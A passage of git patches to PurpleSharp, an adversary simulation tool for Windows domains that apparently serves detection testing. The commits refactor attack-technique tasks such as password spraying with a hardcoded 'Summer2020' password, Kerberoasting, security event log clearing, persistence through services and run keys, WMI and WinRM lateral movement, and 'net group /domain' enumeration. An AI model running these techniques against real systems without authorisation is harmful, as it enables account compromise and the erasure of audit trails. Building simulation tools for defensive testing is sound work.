Simulations.Persistence.CreateLocalAccountCmd(log, task.cleanup); + if (playbook_task.variation == 1) Simulations.Persistence.CreateLocalAccountApi(log, playbook_task.cleanup); + else Simulations.Persistence.CreateLocalAccountCmd(log, playbook_task.cleanup); break; case "T1543.003": - if (task.variation == 1) Simulations.Persistence.CreateWindowsServiceApi(log, task.cleanup); - else Simulations.Persistence.CreateWindowsServiceCmd(log, task.cleanup); + if (playbook_task.variation == 1) Simulations.Persistence.CreateWindowsServiceApi(log, playbook_task.cleanup); + else Simulations.Persistence.CreateWindowsServiceCmd(log, playbook_task.cleanup); break; case "T1547.001": - if (task.variation == 1) Simulations.Persistence.CreateRegistryRunKeyNET(log, task.cleanup); - else Simulations.Persistence.CreateRegistryRunKeyCmd(log, task.cleanup); + if (playbook_task.variation == 1) Simulations.Persistence.CreateRegistryRunKeyNET(log, playbook_task.cleanup); + else Simulations.Persistence.CreateRegistryRunKeyCmd(log, playbook_task.cleanup); break; case "T1546.003": - Simulations.Persistence.WMIEventSubscription(log, task.cleanup); + Simulations.Persistence.WMIEventSubscription(log, playbook_task.cleanup); break; //// Privilege Escalation //// @@ -981,7 +981,7 @@ public static void ExecutePlaybookTechnique(PlaybookTask task, string log) break; case "T1070.001": - if (task.variation == 1) Simulations.DefenseEvasion.ClearSecurityEventLogNET(log); + if (playbook_task.variation == 1) Simulations.DefenseEvasion.ClearSecurityEventLogNET(log); else Simulations.DefenseEvasion.ClearSecurityEventLogCmd(log); break; @@ -1013,17 +1013,17 @@ public static void ExecutePlaybookTechnique(PlaybookTask task, string log) //// Credential Access //// - //T1110.003 - Brute Force + //T1110.003 - Password Spraying case "T1110.003": string password = "Summer2020"; - if (task.variation == 1) Simulations.CredAccess.LocalDomainPasswordSpray(task.target_users, task.task_sleep, password, log); - else Simulations.CredAccess.RemotePasswordSpray(task.target_hosts, task.target_users, task.task_sleep, password, log); + if (playbook_task.variation == 1) Simulations.CredAccess.LocalDomainPasswordSpray(playbook_task, password, log); + else Simulations.CredAccess.RemoteDomainPasswordSpray(playbook_task, password, log); break; //T1558.003 - Kerberoasting case "T1558.003": - Simulations.CredAccess.Kerberoasting(log, task.task_sleep); + Simulations.CredAccess.Kerberoasting(log, playbook_task.task_sleep); break; //T1003.001 - LSASS Memory @@ -1045,12 +1045,12 @@ public static void ExecutePlaybookTechnique(PlaybookTask task, string log) //T1135 - Network Share Discovery case "T1135": - Simulations.Discovery.EnumerateShares(task.target_hosts, task.task_sleep, log); + Simulations.Discovery.EnumerateShares(playbook_task.host_target_total, playbook_task.task_sleep, log); break; //T1046 - Network Service Scanning case "T1046": - Simulations.Discovery.NetworkServiceDiscovery(task.target_hosts, task.task_sleep, log); + Simulations.Discovery.NetworkServiceDiscovery(playbook_task.host_target_total, playbook_task.task_sleep, log); break; case "T1087.001": @@ -1058,7 +1058,7 @@ public static void ExecutePlaybookTechnique(PlaybookTask task, string log) break; case "T1087.002": - if (task.variation == 1) Simulations.Discovery.DomainAccountDiscoveryLdap(log); + if (playbook_task.variation == 1) Simulations.Discovery.DomainAccountDiscoveryLdap(log); else Simulations.Discovery.DomainAccountDiscoveryCmd(log); break; @@ -1110,17 +1110,17 @@ public static void ExecutePlaybookTechnique(PlaybookTask task, string log) //T1021.006 - Windows Remote Management case "T1021.006": - Simulations.LateralMovement.WinRmCodeExec(task.target_hosts, task.task_sleep, log); + Simulations.LateralMovement.WinRmCodeExec(playbook_task.host_target_total, playbook_task.task_sleep, log); break; //T1021 - Remote Service case "T1021": - Simulations.LateralMovement.CreateRemoteServiceOnHosts(task.target_hosts, task.task_sleep, task.cleanup, log); + Simulations.LateralMovement.CreateRemoteServiceOnHosts(playbook_task.host_target_total, playbook_task.task_sleep, playbook_task.cleanup, log); break; //T1047 - Windows Management Instrumentation case "T1047": - Simulations.LateralMovement.ExecuteWmiOnHosts(task.target_hosts, task.task_sleep, log); + Simulations.LateralMovement.ExecuteWmiOnHosts(playbook_task.host_target_total, playbook_task.task_sleep, log); break; // Collection @@ -1134,7 +1134,7 @@ public static void ExecutePlaybookTechnique(PlaybookTask task, string log) // Other Techniques case "privenum": - Simulations.Discovery.PrivilegeEnumeration(task.target_hosts, task.task_sleep, log); + Simulations.Discovery.PrivilegeEnumeration(playbook_task.host_target_total, playbook_task.task_sleep, log); break; default: @@ -1149,7 +1149,7 @@ public static void ExecutePlaybook(SimulationPlaybook playbook, string log) PlaybookTask lastTask = playbook.tasks.Last(); foreach (PlaybookTask task in playbook.tasks) { - ExecutePlaybookTechnique(task, log); + ExecutePlaybookTask(task, log); if (playbook.playbook_sleep > 0 && task != lastTask ) Thread.Sleep(1000 * playbook.playbook_sleep); logger.TimestampInfo("Playbook Finished"); } diff --git a/PurpleSharp/Simulations/CredAccess.cs b/PurpleSharp/Simulations/CredAccess.cs index 4ed0edf..71f300c 100644 --- a/PurpleSharp/Simulations/CredAccess.cs +++ b/PurpleSharp/Simulations/CredAccess.cs @@ -1,4 +1,5 @@ -using System; +using PurpleSharp.Lib; +using System; using System.Collections.Generic; using System.Diagnostics; using System.Linq; @@ -6,59 +7,40 @@ using System.Text; using System.Threading; using System.Threading.Tasks; +using TaskScheduler; namespace PurpleSharp.Simulations { public class CredAccess { - public static void LocalDomainPasswordSpray(int nuser, int sleep, string password, string log) + public static void LocalDomainPasswordSpray(PlaybookTask playbook_task, string password, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; Lib.Logger logger = new Lib.Logger(currentPath + log); logger.SimulationHeader("T1110.003"); logger.TimestampInfo(String.Format("Local Domain Brute Force using the LogonUser Win32 API function")); - bool Kerberos = new bool(); + logger.TimestampInfo(String.Format("Using {0}", playbook_task.protocol)); try { - var rand = new Random(); - //int usertype = rand.Next(1, 7); - int usertype = 1; - List usertargets = Lib.Targets.GetUserTargets(usertype, nuser, logger) ; - - //int protocol = rand.Next(1, 3); - int protocol = 2; - switch (protocol) - { - case 1: - Kerberos = true; - break; - - case 2: - Kerberos = false; - break; + List usertargets = Lib.Targets.GetUserTargets(playbook_task, logger) ; - default: - return; - } - logger.TimestampInfo(String.Format("Obtained {0} user accounts", usertargets.Count)); - if (sleep > 0) logger.TimestampInfo(String.Format("Sleeping {0} seconds between attempt", sleep)); + if (playbook_task.task_sleep > 0) logger.TimestampInfo(String.Format("Sleeping {0} seconds between attempt", playbook_task.task_sleep)); String domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName; - if (usertype == 6) domain = "."; + if (playbook_task.user_target_type == 6) domain = "."; foreach (var user in usertargets) { - if (Kerberos) + if (playbook_task.protocol.ToUpper().Equals("KERBEROS")) { - CredAccessHelper.LogonUser(user.UserName, domain, password, 2, 0, logger); - if (sleep > 0) Thread.Sleep(sleep * 1000); + if (playbook_task.task_sleep > 0) Thread.Sleep(playbook_task.task_sleep * 1000); } else { CredAccessHelper.LogonUser(user.UserName, domain, password, 2, 2, logger); - if (sleep > 0) Thread.Sleep(sleep * 1000); + if (playbook_task.task_sleep > 0) Thread.Sleep(playbook_task.task_sleep * 1000); } } logger.SimulationFinished(); @@ -70,94 +52,68 @@ public static void LocalDomainPasswordSpray(int nuser, int sleep, string passwor } - public static void RemotePasswordSpray(int nhost, int nuser, int sleep, string password, string log) + + public static void RemoteDomainPasswordSpray(PlaybookTask playbook_task, string password, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Logger logger = new Lib.Logger(currentPath + log); logger.SimulationHeader("T1110.003"); logger.TimestampInfo(String.Format("Remote Domain Brute Force using the WNetAddConnection2 Win32 API function")); - bool Kerberos = new bool(); - List targets = new List(); - List targetusers = new List(); + bool Kerberos = true; + List host_targets = new List(); + List user_targets = new List(); List tasklist = new List(); - string domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName; - + string domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName; + try { - var rand = new Random(); - int usertype = rand.Next(1, 7); - usertype = 1; - if (usertype == 6) domain = "."; - //int protocol = rand.Next(1, 3); + if (playbook_task.user_target_type == 99) domain = "."; // Executing a remote authentication with Kerberos will not connect to the remote host, just the DC. - int protocol = 2; - - logger.TimestampInfo(String.Format("Querying LDAP for random targets...")); - - int computertype = rand.Next(1, 5); - targets = Lib.Targets.GetHostTargets(computertype, nhost, logger); - logger.TimestampInfo(String.Format("Obtained {0} target computers", targets.Count)); - targetusers = Lib.Targets.GetUserTargets(usertype, nuser, logger); - logger.TimestampInfo(String.Format("Obtained {0} target user accounts", targetusers.Count)); - - switch (protocol) - { - case 1: - Kerberos = true; - break; - - case 2: - //using NTLM - Kerberos = false; - break; - - default: - return; - } - if (sleep > 0) logger.TimestampInfo(String.Format("Sleeping {0} seconds between attempt", sleep)); + host_targets = Targets.GetHostTargets(playbook_task, logger); + user_targets = Targets.GetUserTargets(playbook_task, logger); + if (playbook_task.protocol.ToUpper().Equals("NTLM")) Kerberos = false; + if (playbook_task.task_sleep > 0) logger.TimestampInfo(String.Format("Sleeping {0} seconds between attempt", playbook_task.task_sleep)); - int type = rand.Next(1, 3); - if (type == 1) + if (playbook_task.host_target_type == 1 || playbook_task.host_target_type == 2) { - //Remote spray against a random target host - var random = new Random(); - int index = random.Next(targets.Count); - logger.TimestampInfo(String.Format("Picking {0} as a target", targets[index].ComputerName)); - foreach (User user in targetusers) + //Remote spray against one target host + //Target host either explictly defined in the playbook or randomly picked using LDAP queries + foreach (User user in user_targets) { User tempuser = user; - int tempindex = index; - if (sleep > 0 && tempindex > 0) Thread.Sleep(sleep * 1000); - + //int tempindex = index; + //if (playbook_task.task_sleep > 0 && tempindex > 0) Thread.Sleep(playbook_task.task_sleep * 1000); + if (playbook_task.task_sleep > 0 ) Thread.Sleep(playbook_task.task_sleep * 1000); tasklist.Add(Task.Factory.StartNew(() => { - CredAccessHelper.RemoteSmbLogin(targets[tempindex], domain, tempuser.UserName, password, Kerberos, logger); + CredAccessHelper.RemoteSmbLogin(host_targets[0], domain, tempuser.UserName, password, Kerberos, logger); })); - } Task.WaitAll(tasklist.ToArray()); } - else if (type == 2) + + else if (playbook_task.host_target_type == 3 || playbook_task.host_target_type == 4) { //Remote spray against several hosts, distributed + //Target hosts either explictly defined in the playbook or randomly picked using LDAP queries int loops; - if (targetusers.Count >= targets.Count) loops = targets.Count; - else loops = targetusers.Count; + if (user_targets.Count >= host_targets.Count) loops = host_targets.Count; + else loops = user_targets.Count; for (int i = 0; i < loops; i++) { int temp = i; - if (sleep > 0 && temp > 0) Thread.Sleep(sleep * 1000); + if (playbook_task.task_sleep > 0 && temp > 0) Thread.Sleep(playbook_task.task_sleep * 1000); tasklist.Add(Task.Factory.StartNew(() => { - CredAccessHelper.RemoteSmbLogin(targets[temp], domain, targetusers[temp].UserName, password, Kerberos, logger); + CredAccessHelper.RemoteSmbLogin(host_targets[temp], domain, user_targets[temp].UserName, password, Kerberos, logger); })); } Task.WaitAll(tasklist.ToArray()); - } + logger.SimulationFinished(); } catch (Exception ex) @@ -165,7 +121,7 @@ public static void RemotePasswordSpray(int nhost, int nuser, int sleep, string p logger.SimulationFailed(ex); } } - + public static void Kerberoasting(string log, int sleep) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; diff --git a/PurpleSharp/Simulations/Discovery.cs b/PurpleSharp/Simulations/Discovery.cs index 77f7c39..a6bb870 100644 --- a/PurpleSharp/Simulations/Discovery.cs +++ b/PurpleSharp/Simulations/Discovery.cs @@ -22,7 +22,7 @@ public static void EnumerateShares(int nhosts, int tsleep, string log) var rand = new Random(); int computertype = rand.Next(1, 6); - List targetcomputers = Lib.Targets.GetHostTargets(computertype, nhosts, logger); + List targetcomputers = Lib.Targets.GetHostTargets_old(computertype, nhosts, logger); logger.TimestampInfo(String.Format("Obtained {0} target computers", targetcomputers.Count)); if (tsleep > 0) logger.TimestampInfo(String.Format("Sleeping {0} seconds between each enumeration attempt", tsleep)); foreach (Computer computer in targetcomputers) @@ -58,7 +58,7 @@ public static void PrivilegeEnumeration(int nhost, int sleep, string log) var rand = new Random(); int computertype = rand.Next(1, 6); - List targetcomputers = Lib.Targets.GetHostTargets(computertype, nhost, logger); + List targetcomputers = Lib.Targets.GetHostTargets_old(computertype, nhost, logger); Console.WriteLine("[*] Starting Find local administrator from {0} as {1}", Environment.MachineName, WindowsIdentity.GetCurrent().Name); if (sleep > 0) Console.WriteLine("[*] Sleeping {0} seconds between enumeration", sleep); foreach (Computer computer in targetcomputers) @@ -86,7 +86,7 @@ public static void NetworkServiceDiscovery(int nhost, int tsleep, string log) var rand = new Random(); int computertype = rand.Next(1, 6); List tasklist = new List(); - List targetcomputers = Lib.Targets.GetHostTargets(computertype, nhost, logger); + List targetcomputers = Lib.Targets.GetHostTargets_old(computertype, nhost, logger); logger.TimestampInfo(String.Format("Obtained {0} target computers for the scan", targetcomputers.Count)); if (tsleep > 0) logger.TimestampInfo(String.Format("Sleeping {0} seconds between each network scan", tsleep)); foreach (Computer computer in targetcomputers) diff --git a/PurpleSharp/Simulations/LateralMovement.cs b/PurpleSharp/Simulations/LateralMovement.cs index 5cafe93..7d3c121 100644 --- a/PurpleSharp/Simulations/LateralMovement.cs +++ b/PurpleSharp/Simulations/LateralMovement.cs @@ -21,7 +21,7 @@ static public void CreateRemoteServiceOnHosts(int nhost, int tsleep, bool cleanu var rand = new Random(); int computertype = rand.Next(1, 6); logger.TimestampInfo(String.Format("Querying LDAP for random targets...")); - List targethosts = Lib.Targets.GetHostTargets(computertype, nhost, logger); + List targethosts = Lib.Targets.GetHostTargets_old(computertype, nhost, logger); logger.TimestampInfo(String.Format("Obtained {0} target computers", targethosts.Count)); List tasklist = new List(); //Console.WriteLine("[*] Starting Service Based Lateral Movement attack from {0} as {1}", Environment.MachineName, WindowsIdentity.GetCurrent().Name); @@ -62,7 +62,7 @@ static public void WinRmCodeExec(int nhost, int tsleep, string log) var rand = new Random(); int computertype = rand.Next(1, 6); logger.TimestampInfo(String.Format("Querying LDAP for random targets...")); - List targethosts = Lib.Targets.GetHostTargets(computertype, nhost, logger); + List targethosts = Lib.Targets.GetHostTargets_old(computertype, nhost, logger); logger.TimestampInfo(String.Format("Obtained {0} target computers", targethosts.Count)); List tasklist = new List(); //Console.WriteLine("[*] Starting WinRM Based Lateral Movement attack from {0} running as {1}", Environment.MachineName, WindowsIdentity.GetCurrent().Name); @@ -102,7 +102,7 @@ static public void ExecuteWmiOnHosts(int nhost, int tsleep, string log) int computertype = rand.Next(1, 6); logger.TimestampInfo(String.Format("Querying LDAP for random targets...")); - List targethosts = Lib.Targets.GetHostTargets(computertype, nhost, logger); + List targethosts = Lib.Targets.GetHostTargets_old(computertype, nhost, logger); logger.TimestampInfo(String.Format("Obtained {0} target computers", targethosts.Count)); List tasklist = new List(); if (tsleep > 0) logger.TimestampInfo(String.Format("Sleeping {0} seconds between attempt", tsleep)); From 2dea21ddfc601ef692cb8bc62859a57a70065cf5 Mon Sep 17 00:00:00 2001 From: mvelazco Date: Mon, 12 Apr 2021 09:47:41 -0400 Subject: [PATCH 12/20] minor. adding playbook 'enabled' attribute and logic to use it --- PurpleSharp/Lib/Models.cs | 2 + PurpleSharp/Lib/Targets.cs | 10 +-- PurpleSharp/Program.cs | 111 ++++++++++++++------------ PurpleSharp/Simulations/CredAccess.cs | 7 +- 4 files changed, 69 insertions(+), 61 deletions(-) diff --git a/PurpleSharp/Lib/Models.cs b/PurpleSharp/Lib/Models.cs index 23aebf6..b334292 100644 --- a/PurpleSharp/Lib/Models.cs +++ b/PurpleSharp/Lib/Models.cs @@ -88,11 +88,13 @@ public class SimulationExercise public class SimulationPlaybook { public string name { get; set; } + public string description { get; set; } public string scout_full_path { get; set; } public string simulator_relative_path { get; set; } public int playbook_sleep { get; set; } public string remote_host { get; set; } public string opsec { get; set; } = "ppid"; + public bool enabled { get; set; } = true; public List tasks { get; set; } public SimulationPlaybook(int pbsleep) { diff --git a/PurpleSharp/Lib/Targets.cs b/PurpleSharp/Lib/Targets.cs index d556803..5dde44a 100644 --- a/PurpleSharp/Lib/Targets.cs +++ b/PurpleSharp/Lib/Targets.cs @@ -144,17 +144,17 @@ public static List GetUserTargets(PlaybookTask playbook_task, Logger logge break; case 2: - logger.TimestampInfo("Targeting randomly generated users"); - targetusers = Targets.GetRandomUsernames(playbook_task.user_target_total, new Random()); - break; - - case 3: logger.TimestampInfo("Targeting random domain users"); targetusers = Ldap.GetADUsers(playbook_task.user_target_total, logger, dc, true); logger.TimestampInfo(String.Format("Obtained {0} user records", targetusers.Count)); break; + case 3: + logger.TimestampInfo("Targeting randomly generated users"); + targetusers = Targets.GetRandomUsernames(playbook_task.user_target_total, new Random()); + break; + case 4: logger.TimestampInfo("Targeting administrative accounts (adminCount=1) "); targetusers = Ldap.GetADAdmins(playbook_task.user_target_total, logger); diff --git a/PurpleSharp/Program.cs b/PurpleSharp/Program.cs index 27387d5..782878a 100644 --- a/PurpleSharp/Program.cs +++ b/PurpleSharp/Program.cs @@ -300,22 +300,26 @@ public static void Main(string[] args) { if (engagement.type.Equals("local")) { - - string results=""; + Console.WriteLine("[+] PurpleSharp will execute up to {0} playbook(s) locally", engagement.playbooks.Count); + string results =""; foreach (SimulationPlaybook playbook in engagement.playbooks) { - SimulationPlaybookResult playbookResults = new SimulationPlaybookResult(); - playbookResults.taskresults = new List(); - playbookResults.name = playbook.name; - playbookResults.host = playbook.remote_host; - logger.TimestampInfo("Running Playbook " + playbook.name); - PlaybookTask lastTask = playbook.tasks.Last(); - foreach (PlaybookTask task in playbook.tasks) + if (playbook.enabled) { - ExecutePlaybookTask(task, log); - if (playbook.playbook_sleep > 0 && task != lastTask) Thread.Sleep(1000 * playbook.playbook_sleep); + SimulationPlaybookResult playbookResults = new SimulationPlaybookResult(); + playbookResults.taskresults = new List(); + playbookResults.name = playbook.name; + playbookResults.host = playbook.remote_host; + logger.TimestampInfo("Running Playbook " + playbook.name); + PlaybookTask lastTask = playbook.tasks.Last(); + foreach (PlaybookTask task in playbook.tasks) + { + ExecutePlaybookTask(task, log); + if (playbook.playbook_sleep > 0 && task != lastTask) Thread.Sleep(1000 * playbook.playbook_sleep); + } + logger.TimestampInfo("Playbook Finished"); + } - logger.TimestampInfo("Playbook Finished"); } results = System.IO.File.ReadAllText(log); string output_file = pb_file.Replace(".json", "") + "_results.json"; @@ -327,7 +331,7 @@ public static void Main(string[] args) { Console.Write("Submit Password for {0}\\{1}: ", engagement.domain, engagement.username); engagement.password = Utils.GetPassword(); - Console.WriteLine("[+] PurpleSharp will execute {0} playbook(s)", engagement.playbooks.Count); + Console.WriteLine("[+] PurpleSharp will executeup to {0} playbook(s) remotely", engagement.playbooks.Count); SimulationExerciseResult engagementResults = new SimulationExerciseResult(); engagementResults.playbookresults = new List(); @@ -335,52 +339,55 @@ public static void Main(string[] args) foreach (SimulationPlaybook playbook in engagement.playbooks) { - SimulationPlaybookResult playbookResults = new SimulationPlaybookResult(); - playbookResults.taskresults = new List(); - playbookResults.name = playbook.name; - playbookResults.host = playbook.remote_host; - Console.WriteLine("[+] Running Playbook {0}", playbook.name); - - PlaybookTask lastTask = playbook.tasks.Last(); - List techs = new List(); - foreach (PlaybookTask task in playbook.tasks) - { - techs.Add(task.technique_id); - } - string techs2 = String.Join(",", techs); - if (playbook.remote_host.Equals("random")) + if (playbook.enabled) { - List targets = Ldap.GetADComputers(10, logger, engagement.domain_controller, engagement.username, engagement.password); - if (targets.Count > 0) + SimulationPlaybookResult playbookResults = new SimulationPlaybookResult(); + playbookResults.taskresults = new List(); + playbookResults.name = playbook.name; + playbookResults.host = playbook.remote_host; + Console.WriteLine("[+] Running Playbook {0}", playbook.name); + + PlaybookTask lastTask = playbook.tasks.Last(); + List techs = new List(); + foreach (PlaybookTask task in playbook.tasks) + { + techs.Add(task.technique_id); + } + string techs2 = String.Join(",", techs); + if (playbook.remote_host.Equals("random")) + { + List targets = Ldap.GetADComputers(10, logger, engagement.domain_controller, engagement.username, engagement.password); + if (targets.Count > 0) + { + Console.WriteLine("[+] Obtained {0} possible targets.", targets.Count); + var random = new Random(); + int index = random.Next(targets.Count); + Console.WriteLine("[+] Picked random host for simulation: " + targets[index].Fqdn); + Console.WriteLine("[+] Executing techniques {0} against {1}", techs2, targets[index].Fqdn); + playbookResults = ExecuteRemoteTechniquesJsonSerialized(engagement, playbook, scout_np, simulator_np, log); + //playbookResults = ExecuteRemoteTechniquesJsonSerialized(playbook.remote_host, engagement.domain, engagement.username, pass, scout_np, playbook, log, false); + if (playbookResults == null) continue; + playbookResults.name = playbook.name; + } + else Console.WriteLine("[!] Could not obtain targets for the simulation"); + + } + else { - Console.WriteLine("[+] Obtained {0} possible targets.", targets.Count); - var random = new Random(); - int index = random.Next(targets.Count); - Console.WriteLine("[+] Picked random host for simulation: " + targets[index].Fqdn); - Console.WriteLine("[+] Executing techniques {0} against {1}", techs2, targets[index].Fqdn); + Console.WriteLine("[+] Executing techniques {0} against {1}", techs2, playbook.remote_host); playbookResults = ExecuteRemoteTechniquesJsonSerialized(engagement, playbook, scout_np, simulator_np, log); - //playbookResults = ExecuteRemoteTechniquesJsonSerialized(playbook.remote_host, engagement.domain, engagement.username, pass, scout_np, playbook, log, false); + //playbookResults = ExecuteRemoteTechniquesJsonSerialized(playbook.remote_host, engagement.domain, engagement.username, pass,scout_np, playbook, log, false); if (playbookResults == null) continue; playbookResults.name = playbook.name; } - else Console.WriteLine("[!] Could not obtain targets for the simulation"); - - } - else - { - Console.WriteLine("[+] Executing techniques {0} against {1}", techs2, playbook.remote_host); - playbookResults = ExecuteRemoteTechniquesJsonSerialized(engagement, playbook, scout_np, simulator_np,log); - //playbookResults = ExecuteRemoteTechniquesJsonSerialized(playbook.remote_host, engagement.domain, engagement.username, pass,scout_np, playbook, log, false); - if (playbookResults == null) continue; - playbookResults.name = playbook.name; - } - if (engagement.sleep > 0 && !playbook.Equals(lastPlaybook)) - { - Console.WriteLine(); - Console.WriteLine("[+] Sleeping {0} minutes until next playbook...", engagement.sleep); - Thread.Sleep(1000 * engagement.sleep * 60); + if (engagement.sleep > 0 && !playbook.Equals(lastPlaybook)) + { + Console.WriteLine(); + Console.WriteLine("[+] Sleeping {0} minutes until next playbook...", engagement.sleep); + Thread.Sleep(1000 * engagement.sleep * 60); + } + engagementResults.playbookresults.Add(playbookResults); } - engagementResults.playbookresults.Add(playbookResults); } Console.WriteLine("Writting JSON results..."); diff --git a/PurpleSharp/Simulations/CredAccess.cs b/PurpleSharp/Simulations/CredAccess.cs index 71f300c..dd82893 100644 --- a/PurpleSharp/Simulations/CredAccess.cs +++ b/PurpleSharp/Simulations/CredAccess.cs @@ -18,13 +18,13 @@ public static void LocalDomainPasswordSpray(PlaybookTask playbook_task, string p { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Lib.Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1110.003"); logger.TimestampInfo(String.Format("Local Domain Brute Force using the LogonUser Win32 API function")); logger.TimestampInfo(String.Format("Using {0}", playbook_task.protocol)); try { - List usertargets = Lib.Targets.GetUserTargets(playbook_task, logger) ; + List usertargets = Targets.GetUserTargets(playbook_task, logger) ; if (playbook_task.task_sleep > 0) logger.TimestampInfo(String.Format("Sleeping {0} seconds between attempt", playbook_task.task_sleep)); String domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName; @@ -52,11 +52,10 @@ public static void LocalDomainPasswordSpray(PlaybookTask playbook_task, string p } - public static void RemoteDomainPasswordSpray(PlaybookTask playbook_task, string password, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Logger logger = new Lib.Logger(currentPath + log); + Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1110.003"); logger.TimestampInfo(String.Format("Remote Domain Brute Force using the WNetAddConnection2 Win32 API function")); bool Kerberos = true; From 287bc34f0b9a67d08b38eb4ceb0db0eb7db4b060 Mon Sep 17 00:00:00 2001 From: mvelazco Date: Fri, 16 Apr 2021 00:01:51 -0400 Subject: [PATCH 13/20] refactoring T1087.002 & T1069.002 --- PurpleSharp/Lib/Models.cs | 6 ++- PurpleSharp/Lib/Targets.cs | 2 +- PurpleSharp/Program.cs | 7 +-- PurpleSharp/Simulations/CredAccess.cs | 2 +- PurpleSharp/Simulations/Discovery.cs | 59 ++++++++++++++++++---- PurpleSharp/Simulations/DiscoveryHelper.cs | 41 ++++++++++++--- 6 files changed, 94 insertions(+), 23 deletions(-) diff --git a/PurpleSharp/Lib/Models.cs b/PurpleSharp/Lib/Models.cs index b334292..8eeadb5 100644 --- a/PurpleSharp/Lib/Models.cs +++ b/PurpleSharp/Lib/Models.cs @@ -114,7 +114,7 @@ public class PlaybookTask public int task_sleep { get; set; } = 0; public bool cleanup { get; set; } = true; - // Password Spraying + // Password Spraying T1110.003 public string protocol { get; set; } = "Kerberos"; public int user_target_type { get; set; } = 1; public int host_target_type { get; set; } = 1; @@ -123,6 +123,10 @@ public class PlaybookTask public string[] user_targets { get; set; } public string[] host_targets { get; set; } + // Group Domain Enumeration T1069.002 + public string[] groups { get; set; } = { }; + + public PlaybookTask() { } diff --git a/PurpleSharp/Lib/Targets.cs b/PurpleSharp/Lib/Targets.cs index 5dde44a..5efcd7e 100644 --- a/PurpleSharp/Lib/Targets.cs +++ b/PurpleSharp/Lib/Targets.cs @@ -135,7 +135,7 @@ public static List GetUserTargets(PlaybookTask playbook_task, Logger logge switch (playbook_task.user_target_type) { case 1: - logger.TimestampInfo("Targing playbook defined users"); + logger.TimestampInfo("Targeting playbook defined users"); foreach (string user in playbook_task.user_targets) { User nuser = new User(user); diff --git a/PurpleSharp/Program.cs b/PurpleSharp/Program.cs index 782878a..965916d 100644 --- a/PurpleSharp/Program.cs +++ b/PurpleSharp/Program.cs @@ -1065,8 +1065,8 @@ public static void ExecutePlaybookTask(PlaybookTask playbook_task, string log) break; case "T1087.002": - if (playbook_task.variation == 1) Simulations.Discovery.DomainAccountDiscoveryLdap(log); - else Simulations.Discovery.DomainAccountDiscoveryCmd(log); + if (playbook_task.variation == 1) Simulations.Discovery.DomainAccountDiscoveryCmd(log); + else Simulations.Discovery.DomainAccountDiscoveryLdap(log); break; case "T1007": @@ -1094,7 +1094,8 @@ public static void ExecutePlaybookTask(PlaybookTask playbook_task, string log) break; case "T1069.002": - Simulations.Discovery.DomainGroups(log); + if (playbook_task.variation == 1) Simulations.Discovery.DomainGroupDiscoveryCmd(playbook_task, log); + else Simulations.Discovery.DomaiGroupDiscoveryLdap(playbook_task, log); break; case "T1012": diff --git a/PurpleSharp/Simulations/CredAccess.cs b/PurpleSharp/Simulations/CredAccess.cs index dd82893..aef61ec 100644 --- a/PurpleSharp/Simulations/CredAccess.cs +++ b/PurpleSharp/Simulations/CredAccess.cs @@ -28,7 +28,7 @@ public static void LocalDomainPasswordSpray(PlaybookTask playbook_task, string p if (playbook_task.task_sleep > 0) logger.TimestampInfo(String.Format("Sleeping {0} seconds between attempt", playbook_task.task_sleep)); String domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName; - if (playbook_task.user_target_type == 6) domain = "."; + //if (playbook_task.user_target_type == 6) domain = "."; foreach (var user in usertargets) { diff --git a/PurpleSharp/Simulations/Discovery.cs b/PurpleSharp/Simulations/Discovery.cs index a6bb870..b0586ed 100644 --- a/PurpleSharp/Simulations/Discovery.cs +++ b/PurpleSharp/Simulations/Discovery.cs @@ -1,4 +1,5 @@ -using System; +using PurpleSharp.Lib; +using System; using System.Collections.Generic; using System.Security.Principal; using System.Threading; @@ -125,14 +126,13 @@ public static void DomainAccountDiscoveryLdap(string log) logger.TimestampInfo("Using LDAP to execute this technique"); try { - DiscoveryHelper.ListUsersLdap(logger); + DiscoveryHelper.LdapQueryForObjects(logger, 1); logger.SimulationFinished(); } catch(Exception ex) { logger.SimulationFailed(ex); - } - + } } public static void DomainAccountDiscoveryCmd(string log) @@ -317,18 +317,59 @@ public static void LocalGroups(string log) } } - public static void DomainGroups(string log) + public static void DomainGroupDiscoveryCmd(PlaybookTask playbook_task, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; Lib.Logger logger = new Lib.Logger(currentPath + log); logger.SimulationHeader("T1069.002"); - logger.TimestampInfo("Using the command line to execute the technique"); + logger.TimestampInfo("Using the command line to execute technique"); + try + { + if (playbook_task.groups.Length > 0) + { + foreach (string group in playbook_task.groups) + { + ExecutionHelper.StartProcess("", String.Format("net group \"{0}\" /domain", group), logger); + } + logger.SimulationFinished(); + } + else + { + ExecutionHelper.StartProcess("", "net group /domain", logger); + logger.SimulationFinished(); + } + } + catch (Exception ex) + { + logger.SimulationFailed(ex); + } + } + + public static void DomaiGroupDiscoveryLdap(PlaybookTask playbook_task, string log) + { + string currentPath = AppDomain.CurrentDomain.BaseDirectory; + Lib.Logger logger = new Lib.Logger(currentPath + log); + logger.SimulationHeader("T1069.002"); + logger.TimestampInfo("Using LDAP to execute technique"); try { - ExecutionHelper.StartProcess("", "net group /domain", logger); - ExecutionHelper.StartProcess("", "net group \"Domain Admins\" /domain", logger); - logger.SimulationFinished(); + if (playbook_task.groups.Length > 0) + { + foreach (string group in playbook_task.groups) + { + logger.TimestampInfo(String.Format("Querying LDAP for members of '{0}'", group)); + DiscoveryHelper.LdapQueryForObjects(logger, 2, "", group); + } + logger.SimulationFinished(); + } + else + { + logger.TimestampInfo("Querying LDAP for all groups"); + DiscoveryHelper.LdapQueryForObjects(logger, 2); + logger.SimulationFinished(); + } + } catch (Exception ex) { diff --git a/PurpleSharp/Simulations/DiscoveryHelper.cs b/PurpleSharp/Simulations/DiscoveryHelper.cs index 